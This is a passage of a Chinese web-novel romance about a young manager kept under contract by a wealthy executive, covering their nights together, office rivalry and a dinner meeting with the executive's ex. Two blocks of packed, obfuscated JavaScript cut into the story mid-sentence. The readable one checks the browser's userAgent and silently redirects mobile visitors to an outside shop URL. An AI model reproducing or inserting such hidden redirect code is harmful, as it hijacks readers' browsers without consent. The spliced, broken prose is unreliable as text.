“没啊,我就是想谢谢你。”元丰跪在贺总身边,用力推着他的胳膊,“你先趴过去。” 贺颜总觉得没什么好事儿:“谢我什么?” “就谢……谢谢你包养我呗。”元丰推着贺总梆硬的肌肉,催促他,“快趴过去,听说特痛快。” 小情儿上赶着要伺候,贺颜倒想看看这小子还能翻出什么浪花来。 他趴到床上,故作严肃地说:“不痛快看我怎么收拾你。” “包你满意。”元丰之前已经认真看过视频教学,他在男人结实的体格上来回摸了两把,忍不住问,“贺总,你这肉真瓷实,怎么练的啊?” “你练不出,行了,按吧。” “哦哦,那咱们开始。” 背上有一双手正不轻不重地按压着,说不上多舒服,但也不难受。 贺颜闭上眼睛,还没感受两分钟,后背突然一凉,他睁开眼睛,皱眉道:“什么东西?” “精油啊。”元丰见贺总要起来,一边大力挤着瓶子里的液体,一边按压着他的肩膀,“别起来啊,一条龙里的精髓就是这个精油开背,等开完了,我再给你来个盲人……不是,来个全身推拿。” 贺颜立刻翻身坐起来,一眼看到了元丰手里的东西。 “这他妈是精油?” “……” 元丰很少听到贺总爆粗,慌得赶紧顺毛,赔笑着解释道:“假装它是精油啊,这不都黏黏的嘛,效果应该差不多。” 贺颜就没这么服气过谁,他伸手一把扣住元丰的脑袋:“你这脑瓜子里塞的都是些什么?” “塞的脑浆啊。” “……” 贺颜彻底服气,他放开元丰下了床,叮嘱道:“我洗完澡过来检查。” 贺总实在忒不识好歹了,元丰心想。不要拉倒,那么硬的肌肉,他按着还嫌累得慌,正好省事儿了。 …… 耳边依旧回荡着凄惨的杀猪叫,越叫贺颜心越烦,还不信治不了这小子了。在那败兴的□□声飙到最高时,他俯身堵住了那张欠抽的嘴。 “唔……”嘴里突然多了个奇怪的东西,陌生的触感让元丰脑子彻底蒙了。 惨叫声戛然而止。 …… 贺颜盯着元丰那副委屈的小表情,目光停留在不久前刚亲过的嘴上。 头回跟情人接吻倒也不是很难接受,不过一想到那嘴之前吃过什么,他的脸直接黑了。 元丰站起来,他不知道该说什么好,恨不得马上下楼去便利店买几盒套甩到贺总脸上,然后警告他不戴不许做。 “干什么去?” “洗澡啊。” “过来。”贺颜拍了拍身边的位置。 元丰有些慌:“过去干啥啊?我困了!” 贺颜盯着元丰,笑了:“接着来。” “……”元丰吓得立刻说道,“我就是想去洗洗,洗完再过来。” 气氛陷入沉默,老板不说话,员工只能瑟瑟发抖。五秒钟过去,元丰听话地走到贺总身边坐下,讨好道:“贺总,只能再一回啊,我明天还上班呢,真的一堆事儿要做。” 贺颜很满意元丰的识时务,伸手揽住他的肩:“回老家两晚,欠下的得补上。” “……” …… 元丰看透了,他再也不会相信贺总在床上说的鬼话,这变态就是个大忽悠。 “怎么不说话了?” “我不想说话。” “闹什么脾气?” “啊……” …… 得亏昨天补过觉,七点一刻的闹钟还没响,元丰就醒了。 卧室里打着恒温空调,他是被热醒的,有什么东西紧贴后背,传来阵阵热度,身体也后知后觉地感到不适,尤其腰部以下。 本以为贺总说的补上只是开玩笑,哪承成想昨晚一直折腾到后半夜才结束。 腰间压着一只很沉的胳膊,他心里不痛快,用力掐住猛地向后一甩,刚要起来,那胳膊又伸过来,肚子上多了一只手。 “几点了?” 耳后方响起贺总带着睡意的声音,元丰打开肚子上的手,不爽地低声回道:“不知道。”说完才发现嗓子沙哑,很干。 “大清早的,闹什么?” “啊……”元丰慌忙说,“闹钟没响,估计六点多……” 贺颜知道小情儿闹脾气的原因,自打签合同到现在,他还是头一回这么痛快,颇有些意犹未尽。 他摸向元丰平坦的下腹:“给你放两天假。” “哦……”元丰已经不会再相信这男人的鬼话了,明明说好听话就一回的,结果前前后后疯狂使劲儿折腾他。 其实心里的不痛快也不全是因为贺总,他更气自己这副食髓知味,半推半就配合着的身体。 唉,这怎么还越做越爽呢? 贺颜心情不错,关心道:“肚子还难受么?” 元丰怕贺总兽性大发,装模作样地往他怀里靠了靠,小声吐出两个字:“难受……” “奖励给你补上,想要什么?”贺颜问。 温热的大掌贴着腹部,元丰没有抗拒,迟疑片刻后试探道:“没啥想要的,折现行不?” “行,说个数儿。” “贺总你看着给呗。”元丰不好意思张口要钱,声音越来越小,“给个□□千小一万的……” 卧室里很安静,男人低低的笑声清晰入耳。 元丰老实地靠在贺总怀里,没听到对方说话。肚子上的手,正不轻不重地揉着,他闭上眼想再眯两分钟,脑子里却倏地想起那个唇舌交缠的吻,舌尖那股麻劲儿似乎还在。 变态,就知道忽悠人。 他在心里嘀咕着,逐渐进入睡眠。 贺颜听到平缓而均匀的呼吸声,知道元丰又睡着了。他坐起身,侧头看向熟睡中的人,这么瞧上去倒是挺乖巧。 阳光透过窗帘的缝隙照进卧室,元丰缓缓睁开双眼,被那抹亮光吓得瞬间清醒。 操,几点了? 床边已经空了,他迅速坐起身看向墙上的挂钟,七点五十五分。现在赶紧起床打车应该来得及,能在八点三刻之前到公司。 脚刚踩到地上,下腹传来一丝轻微坠痛,好在昨晚上过药,走路倒不至于太难受。元丰来回走了几步,确定不再有坠痛感,火速去卫生间刷牙洗脸。 陈硕接到贺总的命令,八点必须准时叫醒元丰。他走到主卧门口,抬手要敲时,门从里面打开了。 “我操——”面前冷不丁出现一个人,吓得元丰后退一步。 “……”陈硕立刻道歉,“不好意思,元先生。” 元丰听到“元先生”这个称呼,想起昨天那通电话。他估摸着陈硕可能挨批了,赶紧把歉道回去:“对不起啊,陈硕。我昨天睡蒙了,还以为在做梦。贺总是不是骂你了?” 听到那略带沙哑的声音,陈硕就猜到元丰昨晚遭了不少罪。 他平静地解释道:“贺总没有骂我,出来吃早饭吧,吃完我送你上班。” 元丰觉得陈硕可能怕自己担心,所以没说真话,他跟着走出去,“真的对不起啊,你别叫我元先生行不?” “元先生不用道歉。”做助理这么多年,陈硕在元丰身上犯了低级错误。 他不想失去这份工作,唯有继续保持合适的距离。 “……”熟悉的疏离感让元丰语塞,什么叫一朝回到解放前?刚处上的朋友,就这么没了。 “元先生,这是十五万支票,请收好。”陈硕从包里拿出支票递给元丰,“还有五万支票,等你下班我再带过来。” “……”贺总大方地给了五万奖励,元丰却开心不起来。他不想面对一个机器人,陈硕明明会笑,一起看《甄嬛传》时,还会给自己梳理剧情,介绍人物关系。 手里的肉包子突然不香了,胃口也没了。他放下早点,拿起自己的公文包:“走吧。” 一路上,车内的气氛很沉闷。 元丰想说点什么,可话到嘴边又憋了回去。等合同结束,他不仅跟贺总没了关系,跟陈硕也不会再有交集了。 于这俩人而言,自己只是一段小插曲,不能因为一时冲动,毁了陈硕的工作。 元丰打开车门,冲主驾驶的男人笑道:“谢谢你啊,陈助理。” 陈硕一顿,随即点头,“不用客气,不加班的话请提前联络我。” “好嘞,那你慢点儿啊。” “嗯,再见。” 元丰关上车门,等陈硕驱车离开,才朝着公司的方向走去。还没走几步,听到后方传来嘀嘀声。 “哟,这不是元经理吗?” 一辆白色的宝马出现在眼前,元丰懒得搭理傻逼,继续往前走。 “小白脸都傍上大款了,还上什么班啊?”宝马车主冲车窗外大声喊道,“奔驰S级,可以啊你!陪睡一晚多少钱?” 自从开上宝马,方远时不时会注意路上的汽车。碰上比他便宜的,那优越感是噌噌噌往上涨,恨不得超到对方前面,亮出自己的宝马屁股。 刚才他就注意到前方那辆价值百万的黑色奔驰,在看到元丰从副驾下来时,惊得下巴都掉了。 这小子没钱没势没朋友,怎么可能坐这么好的车? 难听的字眼让元丰本就不痛快的情绪有了宣泄口,他怒瞪着方远,不客气地骂道:“大清早的吃了多少斤大便?真他妈臭!臭傻逼!” “你他妈的!” “傻逼玩意儿!”元丰骂完,加快了步伐。 方远还没做上经理,不敢闹得太难看,只能压着脾气嘴上说两句。没想到随口开的玩笑,元丰居然会直接跳脚,这他妈不是坐实了傍大款的事实吗? 他透过挡风玻璃盯着不远处的瘦弱身影,那细皮嫩肉的模样,搞不好是真的。 元丰虽有驾照,却不太懂车,不知道奔驰S级是什么意思。他掏出西裤兜里的手机查了下,被价格吓一跳,低配要八十多万起步,以贺总的财力,搞不好是一百多万的高配。 方远那个傻逼早就看自己不顺眼了,连傍大款都能说出来,如果再让陈硕继续接送,公司里恐怕很快会有风言风语。 还没走进业务部,元丰听到里面传来嘻嘻哈哈的吵闹声。 这三天,微信群里很安静,他忙得没空去计较,倒是赵志鹏,会私聊他汇报当日的业绩情况,是个认真踏实的。 “快快快,经理来了。”孙俊瞥见门口的男人,用胳膊肘推了推杨伟。 “哦哦。”杨伟收起手机,冲门口经理笑着打招呼,“元经理早上好!” 其他几个业务员跟着打起招呼:“经理早!” 元丰压下复杂的情绪,面无表情地将业务员们挨个扫了一遍,语气严肃道:“这几天业绩挺好?个个都签上大单不用汇报了是不是?嘻嘻哈哈的,赶紧给我过来开会!” 业务员们快速走到经理跟前,一字排开。 方远慢慢悠悠地走进业务部,特意从经理面前穿过,站到了杨伟旁边。对于他明目张胆的挑衅,众人早已见怪不怪。 元丰看向方远,斥责道:“下次再迟到,回你的售后部待着去!” “你!” “这儿是公司,上班就该有上班的样子!”元丰说完,无视方远,看向其他几个业务员,“你们几个,把这三天的业绩汇报给我听听。杨伟,你先来。” 被点名的杨伟吃喝玩乐混了三天,别说签单子,连电话都没打过。 他组织了下语言,说:“呃……经理,这三天虽然没签到单子,但每天都在给意向客户打电话,有几个还在考虑中,我正打算今天回访。” 元丰盯着杨伟:“今天的回访,能谈下来吗?” “这个……”杨伟挠了挠头,“没法确定啊,我努力争取!” 方远目光一直停留在元丰身上,他瞧这小子不顺眼好久了,那副趾高气扬的样子着实叫人不痛快。 好在今天有意外发现,没准还能出口恶气。 元丰已经可以预想到业务部今后的发展,打算再观察观察杨伟,要是再这么浑水摸鱼,只能请他滚蛋了。 接下来的会议内容千篇一律,翻来覆去就是那几句车轱辘话。 月初是新的开始,元丰作为经理,顾不上嗓子干哑,说了好几分钟的职场鸡汤,鼓励业务员们好好干,能者多劳。 最后他重点表扬了上个月业绩最好的马晓东,从公文包里掏出提前准备好的纸质红包,现场发给了对方。 马晓东激动地接过红包:“谢谢经理!” 元丰点点头,笑道:“好了,会议结束。这个月都给我好好干,听到没?” “是,经理!” “都去忙吧。” 散会后,元丰把赵志鹏单独叫进办公室。 “小赵,你妈身体好些了吗?” “谢谢经理关心。”赵志鹏笑着说,“我妈已经出院了,现在挺好的。” “哦,那就行。” “经理……”赵志鹏面露难色,欲言又止。 元丰了然:“没事儿,有什么想说的微信发给我。” 赵志鹏不是嘴碎的人,一直犹豫着要不要说出来。经理是个好人,还惦记着自己母亲的身体状况。他掏出手机,快速敲着虚拟键盘。 元丰收到消息,打开一看,果然跟他想的一样。赵志鹏说,这三天里方远已经跟其他几个业务员打成一片,杨伟也没出去跑业务,就在办公室里玩手机看电影。 他本想旁敲侧击地再聊几句,现在索性直接切入主题:“小赵,分公司再过俩月就运作起来了,快的话一个多月。” “经理,你要被调走了吧……”赵志鹏很欣赏元经理,多少有些舍不得。 “是啊。”元丰笑着问,“有没有想法跟我一块儿过去闯一闯?” 赵志鹏以为经理在说笑:“经理,真的吗?” 元丰继续说:“离得也不远,周末能有时间回来。你要是有这个想法,我跟总经理申请给你涨底薪,住宿补贴肯定有。” 原来是真的,赵志鹏有些意外,一时间不知道说什么好。 元丰抬手拍了拍他的肩:“我就是问问,你也别有压力。虽然工作挺重要,但肯定比不上家里人。” “经理,我能考虑考虑吗?”赵志鹏问道。 “能啊,我这儿不着急的,你想好了再给我答复。”元丰提醒道,“要是决定去,跟父母好好沟通。” “好,谢谢经理。” “没事儿,去忙吧。” “嗯。” 元丰跟黄总经理打过招呼后,回到办公室处理堆积下来的工作,光报表和月底总结就做了一上午,月初的销售任务还没来得及弄。 到了饭点,收到小美的微信,邀他一块儿去大食堂吃午饭。 犹豫了片刻,他婉拒小美,说自己手上一堆活儿要忙。倒不是为了避嫌,纯粹是因为昨晚做得太狠了,不想多走路。 投入工作的元丰一直忙到被陈硕的来电打断,才发现已经快六点了。 他接通电话:“喂,陈……陈助理。我还没下班,你到了吗?” “现在准备出发,元先生几点下班?” 元丰忙了一整天,有些累。看着还未完成的工作,他说:“不用出发了,我还不知道几点回去,到时候打车吧。” “多晚都没关系,请提前给我打电话。” “……”陈硕太过坚持,元丰不得不敷衍他,“那好吧,我提前半小时给你打电话。” “好,那元先生继续工作吧。” 一口一个元先生,叫得元丰很郁闷。 明知道就该是这样的结果,可他心里还是有点不痛快。都怪贺总那个变态,陈硕昨天肯定挨批了。 又忙了半个多小时,元丰有些扛不住。长时间盯着电脑外加纵欲过度,脑子不够用了。 他关掉电脑,打算留着明天再做。办公室的窗外可以看到停车场,白色的宝马已经不在,傻缺应该下班了。 直到走出公司大门,元丰也没给陈硕打电话,而是朝着反方向,步行去了另一条街,那儿有家修车兼卖车的维修店。 天色未黑,他拎着公文包,难得放松地散起步。 修车店里的新车数量不多,元丰来回看了两圈,看中一辆纯黑的电动车。 他按了按车座的软垫子,又摸了摸把手,问道:“老板,这车怎么卖啊?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658616|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “最低三千。”中年男人走过来,简短地介绍道,“60V,20AH的。充一次能跑七十多公里,电瓶保修一年,上牌什么的都没问题。” 元丰不想给许辉添麻烦,这才决定自己来买车。不过三千超预算了,他又问:“这样式的有没有两千以内的啊?” “小伙子,这样式的你两千五都拿不到。”老板指着最边上自行车样式的电动车,“这个,最低一千八,跑五十公里没问题,保修上牌什么的都有。” 老板指的那款车元丰以前骑过,坐着不舒服就算了,还没防震效果。到底是一分钱一分货,他在两种车之间来回看。 今晚开始就不能再让陈硕接送了,虽然距离去分公司没俩月,但他不想落人话柄,方远那个傻逼指不定要怎么编派他。 元丰骑上新买的电动车,吹着凉爽又舒服的晚风,心情也跟着好了起来。一千八的电动车也不错,体验感比想象中要好。 到了锦西湾,他才想起一个重要的问题。车该怎么充电啊?总不能提着电瓶来回跑吧,这么沉。 色香味俱全的中餐让贺颜想起自己那个狼吞虎咽的小情儿,他站起身,“我去趟洗手间。” 李格见方向不对,打趣道:“包间里有,还出去干什么?不会是我大嫂来了吧?” 乔安就没信过,他问:“到底是真的假的?” 贺颜看向乔安:“下回别再叫上这人,忒扫兴。” “这人?”李格抬高音量,“咱俩还是不是兄弟了?” 贺颜没搭理,拉开木门出去了。 “……”李格盯着他哥离开的背影,冲乔安摇摇头,“瞧见没?就一冷血动物。小时候还他妈理直气壮抢我玩具,给弄坏了。这都过去二十多年了,至今没给我道过歉。” 乔安无语:“你也够可以的。” 陈硕一直等到八点,等来了贺总的电话。他快速接通,恭敬道:“贺总。” “嗯,那小子今天加班吗?” “加班,我正在等他的电话。” “打一个电话问问,结束了接他来金陵轩,28号包间。” “好的,贺总。” 陈硕立刻拨通元丰的电话,等到快自动挂断时,对面才接起。 “陈助理,不好意思啊,我忘记给你打电话了。” 对于元丰今天刚改的称呼,陈硕在心里感激对方的配合:“没事,下班了吗?” “我已经回来了。” 传入耳朵的声音听着有些空旷,元丰似乎在地下室。陈硕问道:“元先生,你是在家吗?” “算是吧。”电话那头顿了好一会儿,“陈助理,你知不知道哪儿能充电啊?我找了半天实在找不到,全是汽车。” “你在地下车库?” “是啊。我新买一电动车,就是想问问哪儿能给车子充电。我找不着物业,也没个联系电话。” “我马上过来。” “啊?你不用特地过来,跟我大概描述下怎么走就行。” “先挂了,在原地等我。” “真的不用啊。” “很快。”陈硕挂掉电话,快速下楼,驱车赶往锦西湾。 白天他就察觉到元丰的情绪,回去时有反思自己是不是过于冷漠了。 虽然相处的时间并不长,他却知道,元丰跟贺总之前的那些情人都不一样。 这个人最开始也会套近乎,通过讨好自己来打听贺总的消息,后来也是真的把自己当朋友对待,不会无理取闹也不会给人添麻烦,甚至还会为自己考虑。 元丰收起手机,在地下车库又兜了两圈才找到出口。一路骑到锦西湾正门口,他坐在还算舒适的车垫上,等着陈硕过来。 锦西湾的A区与B区并不相通,中间隔着一条双向四车道。元丰在A区正门口等待斑马线上的红绿灯,中午点的外卖没吃饱,肚子已经开始咕噜叫了。 他这边的底商没什么能入眼的饭馆,他打算去对面瞧瞧。陈硕大晚上特地赶过来帮自己弄充电的事儿,不请人吃顿饭有些说不过去。 B区的底商有不少饭馆,元丰来回骑了两圈看中一家川菜馆,里面几乎坐满了,说明味道肯定好。他停好电动车,刚走进这家“舌尖上的川味”,美食香扑鼻而来,真馋人。 “小伙子,一个人啊?” 有大妈招呼上来,元丰立刻回道:“两个人,我朋友还没到。这儿有菜单不?我先提前看看点什么菜。” “有有有,这就给你去拿。” “好,谢谢啊。” 五年里,陈硕擦过很多麻烦的屁股。贺总愿意送车,情人上赶着的嘴脸也看过不少,就没见过元丰这么干净还省事儿的。 他一时有些后悔,如果早上转告贺总昨天的吩咐,对方也不至于雷厉风行地把电动车给买好了。 住的公寓和锦西湾的距离不算太远,二十分钟后,陈硕到达目的地。透过车窗,能看见A区门口有个男人坐在电动车上,正低头看着手机。 他打开右转向灯,靠边停了车。 “不好意思,来晚了。” 元丰闻声抬头,连忙说道:“不晚啊,是我不好意思,还特地麻烦陈助理跑一趟。” “不麻烦,这是我的本职工作。”陈硕说完又补充,“真的不用不好意思。” “我知道啊,但本职工作也有下班的时候。”元丰从车座上下来,“要没我这事儿,你现在搞不好正在家里看电视。为了表示感谢,待会儿我请你吃个饭吧。” “……”陈硕一时竟接不上话。 “呃,不是到楼上吃!”元丰怕吓着陈硕,伸手指了指远处的一家饭馆,“是那家川菜馆,我刚进去看过了,挺不错的。” 陈硕想说不用,又担心自己的语气太过冷淡。他改口道:“下次吧,贺总让我接你去金陵轩,所以不是特地跑一趟。” “啊?” “先把电动车处理好再过去。” “……”元丰掏出手机一看,都八点半了。还说吃完早点回去睡觉的,贺总是不是成心想折腾他啊…… “走吧。”陈硕提醒道。 元丰无奈打起精神:“陈助理,我这电动车怎么样?你坐这儿,我带你。” “……”陈硕盯着面前的小车看了两眼,“你骑吧,我跟在后面走。” “是我疏忽了。”元丰双脚撑地,屁股自觉挪到后面的小坐垫上。 他拍了拍另一个坐垫:“你个儿高,坐后面确实不方便,上来。” “……这不太合适。” “没啥不合适的,我抓这儿的杆子就行。”元丰催促,“正好你帮我试试这车的载重量,来啊!” 陈硕面露难色:“不好意思,我不会骑电动车。” 气氛陷入短暂的沉默,随即一声爆笑。元丰难以置信地抬头看向陈硕:“真的假的啊?电动车都不会骑?你也太逗了!” “……”陈硕从没骑过电动车,此刻有点尴尬。他岔开话题:“贺总在等你,先去车库吧。” 元丰好奇道:“你是不是从没骑过啊?” “嗯,只骑过自行车。” “这个比自行车简单,特别容易上手。” “……” “骑着挺舒服的,你来试试看,试完咱们就走。” “……” “来啊!” “……” 可能是天赋异禀,陈硕坐上电动车的那一刻自动学会了怎么骑。确实如元丰所说,容易上手,骑着也挺舒服。 “怎么样,简单吧?” “嗯,很简单。” “电动车可比汽车方便多了,还不用找车位。”元丰说,“陈助理,明天开始你不用再接送了,我骑车上班。” 陈硕推着电动车往下坡走:“明天开始我会教你开车,直到你独立上路大概需要一个月左右的时间,电动车暂时放在车库里吧。” 元丰晕了:“我不学啊,车我也不要了。” “贺总昨天交代的。” “他交代是他的事儿,我不要。” 陈硕没办法干涉元丰,他说:“骑电动车上下班的话,我需要跟贺总汇报一下。” “我骑车是我自己的事儿,他还能管这个啊?再说了,这样能给他省不少油钱。” “……”陈硕想说,贺总并不缺这几个油钱。 元丰左思右想,还是忍不住问了出来:“陈助理,贺总昨天是不是骂你了?” “没有。” 元丰不知道到底真的假的,他放弃了:“你别汇报,我待会儿自己跟他说去。” “……” 买电动车一是防小人,二是元丰想回到之前的生活状态。 他本来就是骑电动车的命,坐那么好的车干什么。 13. 第 13 章 贺颜收到助理的短信,说是准备出发。他回了几个字过去,跟对面坐着的俩人说:“你们接着续,我就不过去了。” “你不去怎么行?”乔安说,“费凡一会儿过来了,再等等他。” 李格仗着表兄弟的关系,故意调侃:“是不是我大嫂催你回家了?” 贺颜盯着嬉皮笑脸的表弟,不咸不淡地说道:“前天正好回去了一趟,听说你把家里安排的相亲给推了?” “……”李格脸上的笑容瞬间凝固。 乔安坐在边上看好戏,见兄弟从烟盒里抽出一支烟,立刻狗腿地递上打火机:“大哥,火。” 贺颜点到即止,没再多说。 李格自认为还算了解他表哥,玩笑能开但不能过。可“大嫂”这个词儿,怎么还成了不能提的禁忌? 他干笑两声:“人生苦短,结什么婚?” “这个我赞同。”乔安叹了口气,“我们家老太太等着抱重孙,隔一阵子就要催。逢年过节说自己身体不好,没几年活头了。我他妈婚都不想结,上哪儿弄个孩子去?” 李格揶揄道:“听奶奶的话,结婚吧。” 乔安:“……” 贺颜抽着烟,没参与话题。他能理解并尊重老一代渴望四世同堂共享天伦之乐的想法,但自己的人生不该被其束缚。虽然没做错什么,可作为贺家独苗,他对父母是有愧疚的。 陈硕刚停好车,听到奇怪的咕噜声。他看向副驾,见元丰捂着肚子,面色有些尴尬:“不好意思啊,我中午没吃饱。” “没事,菜应该上齐了。”他解开安全带,“走吧,我带你过去。” “哦哦,行。”元丰快饿死了,后悔没在路上买个面包垫垫肚子。 俩人并排往电梯口的方向走,还没走几步,陈硕听到后方有人喊他。 元丰跟着回头看去,发现其中一个男人瞧着有点面熟,好像在哪儿见过。 费凡伸出手挥了两下,继续喊道:“嘿,真是巧了!” 陈硕注意到另一个男人投在元丰身上的视线,没记错的话,对方好像叫董默。他侧头跟元丰说:“你先坐电梯上去,28号包间。” “那你还去不去啊?”元丰问道。 陈硕应了声:“快上去吃饭吧,我随后就到。” 元丰估摸着陈硕跟那俩人有话要谈:“那行,你一会儿过来啊。” “好。” 费凡走到陈硕跟前,介绍道:“陈助理,这是董默,贺总他表弟的高中同学。” 陈硕礼貌地打起招呼:“你好。” “不用介绍了,我们见过。”董默说完,冲陈硕点点头,“你好。” “我靠,你们见过了?那不介绍了,都是自己人。”费凡问陈硕,“他怎么会在这儿,自己跟来的?” 陈硕知道费凡问的是谁,他解释道:“贺总吩咐的,我先过去了。” 费凡听完惊了,贺颜从没带情人出席过他们之间的饭局。这个叫元丰的,面子也忒大了些。 董默站在一旁,没吱声。 按下电梯上行键后,元丰想起来了,那个瞧着面熟的男人是撞过他的肇事车主。 操,这不是有应酬吗? 干吗还把自己叫过来啊…… 元丰第二次来金陵轩这家高档中餐厅,依旧摸不着方向,得亏有服务员带路,这七拐八绕的不迷路才怪。 “先生,到了。”面带微笑的服务员推开木门,躬身做了个请的手势。 元丰曾经在饭店当服务员都没这么干过,哪儿受得了如此大礼,赶紧伸手抵住门,“麻烦你了啊,谢谢。” “不客气,有什么需要您再叫我。”服务员笑着说。 元丰扫了眼包间里的餐桌,菜还真的上齐了。他咽了下口水,说道:“能不能给我多上点米饭啊?不是单独的小碗,是那种大碗装的。” “好的,稍后给您送过来。” “谢谢啊。” 元丰走到餐桌旁,桌上有羊排、大螃蟹、大龙虾,居然还有他最爱吃的酱肘子。光是闻那味道就受不了了,口水直流三千尺。但贺总还没过来,不能先动筷子。 他双手背在身后来回踱步,实在熬不住,掏出手机给贺总发了一条短信。 贺颜看到短信内容,脸色一沉。他看向李格,皱眉道:“人是你叫来的?” 李格一听这冷淡的语气就知道表哥不痛快了,心里暗骂费凡那个猪脑子,净干蠢事儿。 他立刻自证清白:“不是!他确实给我发消息了,但我没回。” 乔安察觉不对,笑着缓和气氛:“肯定是费凡那个没脑子的,待会儿我好好教训他。” 李格点头,“是该好好教训。” “行了。”贺颜站起身,“我还有事儿,你们继续。” 乔安不好再挽留:“那回头再约。” 贺颜刚走到门口,短信又来了,打开一看是小情儿发来的。 “贺总,你怎么还不过来啊?再不过来,我自己先吃了。” 他简短地回完两个字,门从外面被推开了。 “路上堵车,我来晚了!”费凡乐和道,“待会儿我自罚三杯!” 李格快速走过去,一把勾住费凡的脖子把人往边上扯,随后低骂道:“谁他妈让你带过来的?自罚三十杯都没用。” “……”费凡一脸懵逼,“带什么啊?什么情况?” 董默看向他的初恋,内心百感交集。明知道对方会生气,他还是笑着打起招呼:“你好,贺总。” 贺颜无视董默,看向后方的助理,吩咐道:“你先过去。” “好的,贺总。” 李格耳朵尖,立刻松开费凡跟了上去。他走到陈硕旁边,低声问道:“陈助理,你这是上哪儿去?” “李总好。”陈硕放慢脚步,礼貌地敷衍道,“去办贺总吩咐的事情。” 还真是藏着掖着,李格不再追问,调侃道:“正好我缺个听话的私人助理,要不你上我这儿兼职来?” “抱歉,李总。” “我哥给你多少钱一个月?” “抱歉,李总。” “……”李格无话可说,“陈助理去忙吧。” “谢谢李总。”陈硕说完,加快了步伐。 李格盯着消失在拐角处的身影,纳闷他哥从哪儿招来的助理。真够可以的,还是个自带复读机功能的机器人。 他回到包间,里面只剩下乔安和费凡。 “人呢?” “就没进来过,应该是出去谈话了。”乔安猜测道。 费凡面露苦色:“冤枉啊,我看他跟你是高中同学,关系又好……” 高中那会儿,李格跟董默关系确实很铁,但彼此都出国留学多年,联系逐渐变少,想回到当初已是不可能。他不想提太多:“别管了,咱仨一块儿走吧。” “会不会有事儿啊?”费凡担心道。 “死不了人,放心吧。”李格先走了出去。 费凡&乔安:“……” 元丰收到贺总发来的“先吃”之后,再也忍不住了。他没用小碗,直接就着服务员送过来的一大碗米饭,大口干了起来。 陈硕推开门,见里面的人狼吞虎咽,好心提醒道:“吃慢点对身体比较好。” 元丰这才想起自己把陈硕给忘了,他指着对面的座位招呼道:“陈助理,过来一块儿吃啊!” “不用,我之前吃过了。” “这么多菜我一个人也吃不完。”元丰放慢咀嚼速度,含糊不清地问,“贺总怎么没来啊,是不是有应酬?” 陈硕做了短暂的思考,回道:“应酬快结束了,贺总一会儿过来。” “哦哦,正好我要跟他说电动车的事儿。”元丰又问,“你真不吃啊?” “嗯。” “那行吧,我继续吃。” * 男人眉宇间压着一股烦躁,董默不敢靠太近。他低声道歉:“对不起,我只是想来见见你。” “只是想见见?” 董默迟疑了片刻,索性坦然道:“还有别的,想追你。” 贺颜吐出嘴里的烟雾,看向董默:“你见我谈过感情?” “没有……我知道李格说的只是借口。” 结合那几条短信内容,贺颜大概能猜到董默的想法。他没有“再续前缘”的打算,也不想把话说得太难听, 于是简短道:“你想见的不是我,都三十岁的人了,还想重温青春?” “……”董默张了张嘴,竟无力反驳。 “你那网站我看过了,挺不错。”贺颜掐灭香烟,扔进垃圾桶。 董默垂眸看向地面,自顾自说道:“我这些年也交过几个男朋友,老是会在他们身上找你的影子,觉得谁都比不上你……” 贺颜像是没听见,抬腕看了眼表上的时间:“我先走了,以后别再发信息。” 董默一把拉住要走的人,试图挽留:“你就没想过要稳定下来吗?” 贺颜混迹情场多年,别说稳定,跟着他时间最长的董默也不过才一年而已。 他抽回自己的手:“没想过。” 明知道只是炮/友关系,董默却一直将贺颜当成自己的初恋。 过去的点滴,他从未忘记,心里始终有个遗憾。在对方离开之前,他当面问了出来。 “如果你当初没去美国,咱们之间会不会有别的结果?” “不会。” 包间的木门被推开,陈硕立刻上前握住把手,恭敬道:“贺总。” 贺颜应了声:“回去吧,不用在门口候着。” “好的。”陈硕轻轻带上门,离开了。 元丰正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那必须是啊!我给你打个比方。”元丰越说越来劲,“就拿陈助理来说吧,你看我每回叫陈助理,还得多念一个字儿,浪费口水。要是直接叫陈硕,不就挺方便吗?” 原来心思在这儿,贺颜掐上元丰白嫩的脸蛋扯了扯:“你这嘴成天叭叭叭的,还嫌浪费口水?” “哎哟……疼疼疼……” “起来,走了。” 元丰揉着自己的脸,懒得跟贺总计较。见对方要走,他站起身叫道:“等等啊贺总,我先去找服务员要几个塑料袋。” “不用打包,想吃下回再带你过来。” “那不行,这大螃蟹我还没吃上几口,不打包多浪费啊。” 贺颜催促道:“别浪费时间。” 元丰听到这几个字,直觉没好事儿。他警惕地问道:“贺总,是我想的那个意思不?” “聪明。” “你昨晚还说给我放两天假的,怎么老忽悠人啊?”元丰就知道贺总成心想折腾他。 贺颜反问:“放哪儿的假,你心里没数?” “……”元丰拒绝不了,只能小声抱怨,“X欲这么强,也不怕J尽人亡。” “嘀咕什么呢?” “没啊,我夸你来着。”元丰扯出一个笑,吹捧道,“贺总你身体真好,不去日本发展都可惜了。” 贺颜脸一黑,随即笑道:“可惜什么?在你身上发展也一样。” “……”元丰心里有些慌,“贺总,我真的是在夸你啊,没有别的意思。我要有你这身材,就是砸锅卖铁都得偷渡去日本,混出个名堂来。” “行了,话多。” “……” 这顿丰盛的晚餐没能打包成功,给元丰心疼了好半天。有钱人的生活,实在奢侈浪费!忒过分了! 一路跟着贺总到了停车场,他才想起电动车的事儿还没提。 “贺总,我买了一辆电动车。” 贺颜没太意外,他问:“前阵子不是还想要车吗?” “我仔细想了想,还是电动车方便。”元丰说,“汽车有时候会堵车,电动车我能控制时间。” “公司里那口恶气,不出了?” “……”元丰没想到贺总还记得这茬,他摇摇头,“不出了,不跟傻逼一般见识。他那破宝马没准买的是二手车,我懒得跟他较劲。” 贺颜嗯了一声,又问:“确定不要车了?” “真的不要了。”早上加晚上,元丰共收到二十万支票,这笔巨款已经足够多了。 等明天抽时间给二妹打个电话问问情况,钱这块,不用再操心。 